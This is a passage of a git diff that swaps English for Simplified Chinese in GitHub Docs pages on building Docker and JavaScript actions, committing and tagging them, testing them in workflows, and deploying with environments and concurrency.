"[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." + 如果 `entrypoint.sh` 执行没有任何错误,则操作的状态设置为 `success`。 您还可以在操作的代码中显式设置退出代码以提供操作的状态。 有关详细信息,请参阅“[为操作设置退出代码](/actions/creating-actions/setting-exit-codes-for-actions)”。 - -1. Make your `entrypoint.sh` file executable. Git provides a way to explicitly change the permission mode of a file so that it doesn’t get reset every time there is a clone/fork. +1. 通过在系统上运行以下命令使 `entrypoint.sh` 文件可执行。 ```shell{:copy} - $ git update-index --chmod=+x entrypoint.sh + $ chmod +x entrypoint.sh ``` -1. Optionally, to check the permission mode of the file in the git index, run the following command. +## 创建自述文件 - ```shell{:copy} - $ git ls-files --stage entrypoint.sh - ``` +要让人们了解如何使用您的操作,您可以创建自述文件。 自述文件在您计划公开分享操作时最有用,但也是提醒您或您的团队如何使用该操作的绝佳方式。 - An output like `100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 entrypoint.sh` means the file has the executable permission. In this example, `755` denotes the executable permission. +在 `hello-world-docker-action` 目录中,创建一个用于指定以下信息的 `README.md` 文件: -## Creating a README +- 操作用途的详细说明。 +- 必需的输入和输出参数。 +- 可选输入和输出参数。 +- 操作使用的密钥。 +- 操作使用的环境变量。 +- 如何在工作流中使用操作的示例。 -To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. - -In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information: - -- A detailed description of what the action does. -- Required input and output arguments. -- Optional input and output arguments. -- Secrets the action uses. -- Environment variables the action uses. -- An example of how to use your action in a workflow. - -**README.md** +README.md ```markdown{:copy} # Hello world docker action @@ -172,16 +160,16 @@ The time we greeted you. ## Example usage -uses: actions/hello-world-docker-action@{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %} +uses: actions/hello-world-docker-action@v1 with: who-to-greet: 'Mona the Octocat' ``` -## Commit, tag, and push your action to {% data variables.product.product_name %} +## 提交、标记和推送操作到 {% data variables.product.product_name %} -From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files. +从终端中提交 `action.yml`、`entrypoint.sh`、`Dockerfile` 和 `README.md` 文件。 -It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." +最佳做法是同时为操作版本添加版本标记。 有关对操作进行版本控制的详细信息,请参阅“[关于操作](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)”。 ```shell{:copy} git add action.yml entrypoint.sh Dockerfile README.md @@ -190,17 +178,17 @@ git tag -a -m "My first action release" v1 git push --follow-tags ``` -## Testing out your action in a workflow +## 在工作流程中测试您的操作 -Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. +现在,您已准备好在工作流程中测试您的操作。 当某项操作位于专用存储库中时,该操作只能在同一存储库的工作流中使用。 位于任何存储库内的工作流均可使用公共操作。 {% data reusables.actions.enterprise-marketplace-actions %} -### Example using a public action +### 使用公共操作的示例 -The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %} +以下工作流代码使用公共 [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) 存储库中已完成的 hello world 操作。 将以下工作流示例代码复制到 `.github/workflows/main.yml` 文件中,但将 `actions/hello-world-docker-action` 替换为存储库和操作名称。 还可以将 `who-to-greet` 输入替换为你的名称。 {% ifversion fpt or ghec %}公共操作即使未发布到 {% data variables.product.prodname_marketplace %} 也可使用。 有关详细信息,请参阅“[发布操作](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)”。 {% endif %} -**.github/workflows/main.yml** +{% raw %} .github/workflows/main.yml ```yaml{:copy} on: [push] @@ -211,19 +199,20 @@ jobs: steps: - name: Hello world action step id: hello - uses: actions/hello-world-docker-action{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %} + uses: actions/hello-world-docker-action@v1 with: who-to-greet: 'Mona the Octocat' # Use the output from the `hello` step - name: Get the output time - run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} + run: echo "The time was ${{ steps.hello.outputs.time }}" ``` +{% endraw %} -### Example using a private action +### 使用私有操作的示例 -Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %} +将以下示例工作流代码复制到操作存储库中的 `.github/workflows/main.yml` 文件中。 还可以将 `who-to-greet` 输入替换为你的名称。 {% ifversion fpt or ghec %}此操作不能发布到 {% data variables.product.prodname_marketplace %},并且只能在此仓库中使用。{% endif %} -**.github/workflows/main.yml** +.github/workflows/main.yml ```yaml{:copy} on: [push] @@ -246,7 +235,7 @@ jobs: run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} ``` -From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. +从存储库中,单击“操作”选项卡,然后选择最新的工作流运行。 在“作业”下或可视化图中,单击“表示问候的作业” 。 应会看到“Hello Mona the Octocat”或你用于 `who-to-greet` 输入的名称以及日志中打印的时间戳。 -![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png) +![在工作流中使用操作的屏幕截图](/assets/images/help/repository/docker-action-workflow-run-updated.png) diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md index 8dcb762313..f29330a4ff 100644 --- a/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md +++ b/translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md @@ -1,7 +1,7 @@ --- -title: Creating a JavaScript action +title: 创建 JavaScript 操作 shortTitle: Create a JavaScript action -intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' +intro: 在本指南中,您将了解如何使用操作工具包构建 JavaScript 操作。 redirect_from: - /articles/creating-a-javascript-action - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action @@ -16,50 +16,54 @@ type: tutorial topics: - Action development - JavaScript +ms.openlocfilehash: 60fd562df55756afd081c395d9cffee89c2c04d6 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192743' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +在本指南中,您将了解创建和使用打包的 JavaScript 操作所需的基本组件。 本指南的重点是打包操作所需的组件,因此很少讲操作代码的功能。 操作将在日志文件中打印“Hello World”或“Hello [who-to-greet]”(如果您提供自定义名称)。 -In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. +本指南使用 {% data variables.product.prodname_actions %} 工具包 Node.js 模块来加快开发速度。 有关详细信息,请参阅 [actions/toolkit](https://github.com/actions/toolkit) 存储库。 -This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. - -Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. +完成此项目后,您应了解如何构建自己的 JavaScript 操作和在工作流程测试该操作。 {% data reusables.actions.pure-javascript %} {% data reusables.actions.context-injection-warning %} -## Prerequisites +## 先决条件 -Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. +在开始之前,您需要下载 Node.js 并创建公共 {% data variables.product.prodname_dotcom %} 仓库。 -1. Download and install Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}16.x{% else %}12.x{% endif %}, which includes npm. +1. 下载并安装 Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}16.x{% else %}12.x{% endif %},其中包含 npm。 - {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %} + {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} https://nodejs.org/en/download/{% else %} https://nodejs.org/en/download/releases/{% endif %} -1. Create a new public repository on {% data variables.location.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)." +1. 在 {% data variables.location.product_location %} 上创建一个新的公共存储库,并将其称为“hello-world-javascript-action”。 有关详细信息,请参阅“[创建新存储库](/articles/creating-a-new-repository)”。 -1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." +1. 将仓库克隆到计算机。 有关详细信息,请参阅“[克隆存储库](/articles/cloning-a-repository)”。 -1. From your terminal, change directories into your new repository. +1. 从您的终端,将目录更改为新仓库。 ```shell{:copy} cd hello-world-javascript-action ``` -1. From your terminal, initialize the directory with npm to generate a `package.json` file. +1. 从你的终端,使用 npm 初始化目录以生成 `package.json` 文件。 ```shell{:copy} npm init -y ``` -## Creating an action metadata file +## 创建操作元数据文件 -Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." +使用以下示例代码在 `hello-world-javascript-action` 目录中创建一个名为 `action.yml` 的新文件。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”。 ```yaml{:copy} name: 'Hello World' @@ -77,34 +81,34 @@ runs: main: 'index.js' ``` -This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action. +此文件定义 `who-to-greet` 输入和 `time` 输出。 它还告知操作运行程序如何开始运行此 JavaScript 操作。 -## Adding actions toolkit packages +## 添加操作工具包 -The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency. +操作工具包是 Node.js 包的集合,可让您以更高的一致性快速构建 JavaScript 操作。 -The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages. +工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包为工作流命令、输入和输出变量、退出状态和调试消息提供了一个接口。 -The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts. +工具包还提供了一个 [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) 包,用于返回经验证的 Octokit REST 客户端和访问 GitHub Actions 上下文。 -The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. +该工具包提供的不仅仅是 `core` 和 `github` 包。 有关详细信息,请参阅 [actions/toolkit](https://github.com/actions/toolkit) 存储库。 -At your terminal, install the actions toolkit `core` and `github` packages. +在终端上,安装操作工具包 `core` 和 `github` 包。 ```shell{:copy} npm install @actions/core npm install @actions/github ``` -Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module. +现在,应会看到 `node_modules` 目录(包含你刚安装的模块)和 `package-lock.json` 文件(包含已安装模块的依赖项和每个已安装模块的版本)。 -## Writing the action code +## 编写操作代码 -This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. +此操作使用工具包获取操作元数据文件中所需的 `who-to-greet` 输入变量,然后在日志的调试消息中打印“Hello [who-to-greet]”。 接下来,该脚本会获取当前时间并将其设置为作业中稍后运行的操作可以使用的输出变量。 -GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log. +GitHub Actions 提供有关 web 挂钩实践、Git 引用、工作流程、操作和触发工作流程的人员的上下文信息。 要访问上下文信息,你可以使用 `github` 包。 您将编写的操作将打印 web 挂钩事件有效负载日志。 -Add a new file called `index.js`, with the following code. +使用以下代码添加名为 `index.js` 的新文件。 {% raw %} ```javascript{:copy} @@ -126,20 +130,20 @@ try { ``` {% endraw %} -If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." +如果在上述 `index.js` 示例中引发错误,`core.setFailed(error.message);` 将使用操作工具包 [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) 包记录消息并设置失败退出代码。 有关详细信息,请参阅“[为操作设置退出代码](/actions/creating-actions/setting-exit-codes-for-actions)”。 -## Creating a README +## 创建自述文件 -To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. +要让人们了解如何使用您的操作,您可以创建自述文件。 自述文件在您计划公开分享操作时最有用,但也是提醒您或您的团队如何使用该操作的绝佳方式。 -In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information: +在 `hello-world-javascript-action` 目录中,创建一个用于指定以下信息的 `README.md` 文件: -- A detailed description of what the action does. -- Required input and output arguments. -- Optional input and output arguments. -- Secrets the action uses. -- Environment variables the action uses. -- An example of how to use your action in a workflow. +- 操作用途的详细说明。 +- 必需的输入和输出参数。 +- 可选输入和输出参数。 +- 操作使用的密钥。 +- 操作使用的环境变量。 +- 如何在工作流中使用操作的示例。 ````markdown{:copy} # Hello world javascript action @@ -167,13 +171,13 @@ with: ``` ```` -## Commit, tag, and push your action to GitHub +## 提交、标记和推送操作到 GitHub -{% data variables.product.product_name %} downloads each action run in a workflow during runtime and executes it as a complete package of code before you can use workflow commands like `run` to interact with the runner machine. This means you must include any package dependencies required to run the JavaScript code. You'll need to check in the toolkit `core` and `github` packages to your action's repository. +{% data variables.product.product_name %} 下载运行时在工作流中运行的每个操作,并将其作为完整的代码包执行,然后才能使用 `run` 等工作流命令与运行器机器交互。 这意味着您必须包含运行 JavaScript 代码所需的所有包依赖项。 需要将工具包 `core` 和 `github` 包签入操作存储库。 -From your terminal, commit your `action.yml`, `index.js`, `node_modules`, `package.json`, `package-lock.json`, and `README.md` files. If you added a `.gitignore` file that lists `node_modules`, you'll need to remove that line to commit the `node_modules` directory. +从终端提交 `action.yml`、`index.js`、`node_modules`、`package.json`、`package-lock.json` 和 `README.md` 文件。 如果添加了列出 `node_modules` 的 `.gitignore` 文件,则需要删除该行以提交 `node_modules` 目录。 -It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." +最佳做法是同时为操作版本添加版本标记。 有关对操作进行版本控制的详细信息,请参阅“[关于操作](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)”。 ```shell{:copy} git add action.yml index.js node_modules/* package.json package-lock.json README.md @@ -182,24 +186,24 @@ git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -Checking in your `node_modules` directory can cause problems. As an alternative, you can use a tool called [`@vercel/ncc`](https://github.com/vercel/ncc) to compile your code and modules into one file used for distribution. +签入 `node_modules` 目录可能会导致问题。 作为替代方法,可以使用名为 [`@vercel/ncc`](https://github.com/vercel/ncc) 的工具将代码和模块编译到一个用于分发的文件中。 -1. Install `vercel/ncc` by running this command in your terminal. +1. 通过在终端中运行此命令来安装 `vercel/ncc`。 `npm i -g @vercel/ncc` -1. Compile your `index.js` file. +1. 编译 `index.js` 文件。 `ncc build index.js --license licenses.txt` - You'll see a new `dist/index.js` file with your code and the compiled modules. - You will also see an accompanying `dist/licenses.txt` file containing all the licenses of the `node_modules` you are using. + 你会看到一个包含代码和已编译模块的新 `dist/index.js` 文件。 + 你还将看到随附的 `dist/licenses.txt` 文件,其中包含所用 `node_modules` 的所有许可证。 -1. Change the `main` keyword in your `action.yml` file to use the new `dist/index.js` file. +1. 更改 `action.yml` 文件中的 `main` 关键字以使用新的 `dist/index.js` 文件。 `main: 'dist/index.js'` -1. If you already checked in your `node_modules` directory, remove it. +1. 如果已签入 `node_modules` 目录,请将其删除。 `rm -rf node_modules/*` -1. From your terminal, commit the updates to your `action.yml`, `dist/index.js`, and `node_modules` files. +1. 从终端提交对 `action.yml`、`dist/index.js` 和 `node_modules` 文件的更新。 ```shell{:copy} git add action.yml dist/index.js node_modules/* git commit -m "Use vercel/ncc" @@ -207,17 +211,17 @@ git tag -a -m "My first action release" v1.1 git push --follow-tags ``` -## Testing out your action in a workflow +## 在工作流程中测试您的操作 -Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. +现在,您已准备好在工作流程中测试您的操作。 当某项操作位于专用存储库中时,该操作只能在同一存储库的工作流中使用。 位于任何存储库内的工作流均可使用公共操作。 {% data reusables.actions.enterprise-marketplace-actions %} -### Example using a public action +### 使用公共操作的示例 -This example demonstrates how your new public action can be run from within an external repository. +此示例显示您的新公共操作如何从外部仓库中运行。 -Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. +将以下 YAML 复制到 `.github/workflows/main.yml` 处的新文件中,并使用你的用户名和你在上面创建的公共存储库的名称更新 `uses: octocat/hello-world-javascript-action@v1.1` 行。 还可以将 `who-to-greet` 输入替换为你的名称。 {% raw %} ```yaml{:copy} @@ -239,13 +243,13 @@ jobs: ``` {% endraw %} -When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. +当触发此工作流时,运行器将从你的公共存储库下载 `hello-world-javascript-action` 操作,然后执行它。 -### Example using a private action +### 使用私有操作的示例 -Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. +将工作流代码复制到操作存储库中的 `.github/workflows/main.yml` 文件中。 还可以将 `who-to-greet` 输入替换为你的名称。 -**.github/workflows/main.yml** +.github/workflows/main.yml ```yaml{:copy} on: [push] @@ -268,13 +272,13 @@ jobs: run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}{% endraw %}" ``` -From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. +从存储库中,单击“操作”选项卡,然后选择最新的工作流运行。 在“作业”下或可视化图中,单击“表示问候的作业” 。 应会看到“Hello Mona the Octocat”或你用于 `who-to-greet` 输入的名称以及日志中打印的时间戳。 -![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) +![在工作流中使用操作的屏幕截图](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) -## Template repositories for creating JavaScript actions +## 用于创建 JavaScript 操作的模板存储库 -{% data variables.product.prodname_dotcom %} provides template repositories for creating JavaScript and TypeScript actions. You can use these templates to quickly get started with creating a new action that includes tests, linting, and other recommended practices. +{% data variables.product.prodname_dotcom %} 提供了用于创建 JavaScript 和 TypeScript 操作的模板存储库。 可以使用这些模板快速开始创建包含测试、Lint 分析和其他建议做法的新操作。 -* [`javascript-action` template repository](https://github.com/actions/javascript-action) -* [`typescript-action` template repository](https://github.com/actions/typescript-action) +* [`javascript-action` 模板存储库](https://github.com/actions/javascript-action) +* [`typescript-action` 模板存储库](https://github.com/actions/typescript-action) diff --git a/translations/zh-CN/content/actions/creating-actions/index.md b/translations/zh-CN/content/actions/creating-actions/index.md index 93c18e0672..5389292cc5 100644 --- a/translations/zh-CN/content/actions/creating-actions/index.md +++ b/translations/zh-CN/content/actions/creating-actions/index.md @@ -21,7 +21,9 @@ children: - /dockerfile-support-for-github-actions - /setting-exit-codes-for-actions - /publishing-actions-in-github-marketplace + - /sharing-actions-and-workflows-from-your-private-repository - /sharing-actions-and-workflows-with-your-enterprise + - /sharing-actions-and-workflows-with-your-organization - /releasing-and-maintaining-actions - /developing-a-third-party-cli-action ms.openlocfilehash: b60bd1031bc7e9958a146cbf9755a000679edff3 diff --git a/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md index 8d6cd2b121..bade980251 100644 --- a/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md +++ b/translations/zh-CN/content/actions/deployment/about-deployments/about-continuous-deployment.md @@ -1,6 +1,6 @@ --- -title: About continuous deployment -intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' +title: 关于持续部署 +intro: '您可以直接在 {% data variables.product.prodname_dotcom %} 仓库中通过 {% data variables.product.prodname_actions %} 创建自定义持续部署 (CD) 工作流程。' versions: fpt: '*' ghes: '*' @@ -12,40 +12,44 @@ redirect_from: topics: - CD shortTitle: About continuous deployment +ms.openlocfilehash: 379afa0088f7f10302f5bf8202f5259ac4777bec +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147060136' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 关于持续部署 -## About continuous deployment +持续部署 (CD) 是使用自动化发布和部署软件更新的做法。 作为典型 CD 过程的一部分,代码在部署之前会自动构建并测试。 -_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment. +持续部署通常与持续集成相结合。 有关持续集成的详细信息,请参阅“[关于持续集成](/actions/guides/about-continuous-integration)”。 -Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see "[About continuous integration](/actions/guides/about-continuous-integration)". +## 关于使用 {% data variables.product.prodname_actions %} 的持续部署 -## About continuous deployment using {% data variables.product.prodname_actions %} +您可以设置 {% data variables.product.prodname_actions %} 工作流程来部署软件产品。 要验证产品是否按预期工作,您的工作流程可以在存储库中构建代码,并在部署之前运行测试。 -You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying. +您可以配置 CD 工作流程在发生 {% data variables.product.product_name %} 事件(例如,将新代码推送到存储库的默认分支)时运行、按设定的时间表运行、手动运行或者在使用存储库分发 web 挂钩的外部事件发生时运行。 有关工作流何时可以运行的详细信息,请参阅“[触发工作流的事件](/actions/reference/events-that-trigger-workflows)”。 -You can configure your CD workflow to run when a {% data variables.product.product_name %} event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." +{% data variables.product.prodname_actions %} 提供的功能使您可以更好地控制部署。 例如,您可以使用环境来要求批准才能继续作业,限制哪些分支可以触发工作流程,或限制对机密的访问。 你可以使用并发性将 CD 管道限制为最多一个正在进行的部署和一个挂起的部署。 有关这些功能的详细信息,请参阅“[使用 GitHub Actions 进行部署](/actions/deployment/deploying-with-github-actions)”和“[使用环境进行部署](/actions/deployment/using-environments-for-deployment)”。 -{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +{% ifversion fpt or ghec or ghae-issue-4856 or ghes > 3.4 %} -{% ifversion fpt or ghec or ghes > 3.4 %} - -## Using OpenID Connect to access cloud resources +## 使用 OpenID Connect 访问云资源 {% data reusables.actions.about-oidc-short-overview %} {% endif %} -## Starter workflows and third party actions +## 初学者工作流程和第三方操作 {% data reusables.actions.cd-templates-actions %} -## Further reading +## 延伸阅读 -- [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions) -- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %} -- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %} +- [使用 GitHub Actions 进行部署](/actions/deployment/deploying-with-github-actions) +- [使用环境进行部署](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %} +- “[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)”{% endif %} diff --git a/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md index 31f3680e14..196b7c07b2 100644 --- a/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md +++ b/translations/zh-CN/content/actions/deployment/about-deployments/deploying-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: Deploying with GitHub Actions -intro: Learn how to control deployments with features like environments and concurrency. +title: 使用 GitHub Actions 进行部署 +intro: 了解如何使用环境和并发性等功能控制部署。 versions: fpt: '*' ghes: '*' @@ -12,34 +12,38 @@ redirect_from: topics: - CD shortTitle: Deploy with GitHub Actions +ms.openlocfilehash: 533d85d83bea53d34af3d8b9a47d0d4426ea4bc6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145179182' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +## 简介 -## Introduction +{% data variables.product.prodname_actions %} 提供了允许您控制部署的功能。 方法: -{% data variables.product.prodname_actions %} offers features that let you control deployments. You can: +- 使用各种事件触发工作流程。 +- 配置环境以在作业可以继续之前设置规则,并限制对机密的访问。 +- 使用并发性来控制一次运行的部署数。 -- Trigger workflows with a variety of events. -- Configure environments to set rules before a job can proceed and to limit access to secrets. -- Use concurrency to control the number of deployments running at a time. +有关持续部署的详细信息,请参阅“[关于持续部署](/actions/deployment/about-continuous-deployment)”。 -For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)." +## 先决条件 -## Prerequisites +您应该熟悉 {% data variables.product.prodname_actions %} 的语法。 有关详细信息,请参阅“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 -You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." +## 触发部署 -## Triggering your deployment +您可以使用各种事件来触发您的部署工作流程。 一些最常见的事件包括:`pull_request`、`push` 和 `workflow_dispatch`。 -You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`. +例如,具有以下触发器的工作流在以下情况下会运行: -For example, a workflow with the following triggers runs whenever: - -- There is a push to the `main` branch. -- A pull request targeting the `main` branch is opened, synchronized, or reopened. -- Someone manually triggers it. +- 存在针对 `main` 分支的推送。 +- 以 `main` 分支为目标的拉取请求已打开、已同步或重新打开。 +- 有人手动触发它。 ```yaml on: @@ -52,23 +56,23 @@ on: workflow_dispatch: ``` -For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." +有关详细信息,请参阅“[触发工作流的事件](/actions/reference/events-that-trigger-workflows)”。 -## Using environments +## 使用环境 {% data reusables.actions.about-environments %} -## Using concurrency +## 使用并发 -Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time. +并发确保只有使用相同并发组的单一作业或工作流程才会同时运行。 您可以使用并发,以便环境中每次最多有一个正在进行的部署和一个待处理的部署。 {% note %} -**Note:** `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules. +注意:`concurrency` 和 `environment` 未连接。 并发值可以是任何字符串;它无需是环境名称。 此外,如果另一个工作流程使用相同的环境,但未指定并发性,则该工作流程将不受任何并发规则的约束。 {% endnote %} -For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group. +例如,当以下工作流运行时,如果使用 `production` 并发组的任何作业或工作流正在进行中,则它将暂停并且状态为 `pending`。 它还将取消使用 `production` 并发组且状态为 `pending` 的任何作业或工作流。 这意味着,由于使用了 `production` 并发组,因此最多有一个正在运行和一个待处理的作业或工作流。 ```yaml name: Deployment @@ -89,7 +93,7 @@ jobs: # ...deployment-specific steps ``` -You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`. +您也可以在作业级别指定并发性。 这将允许工作流中的其他作业继续,即使并发作业的状态为 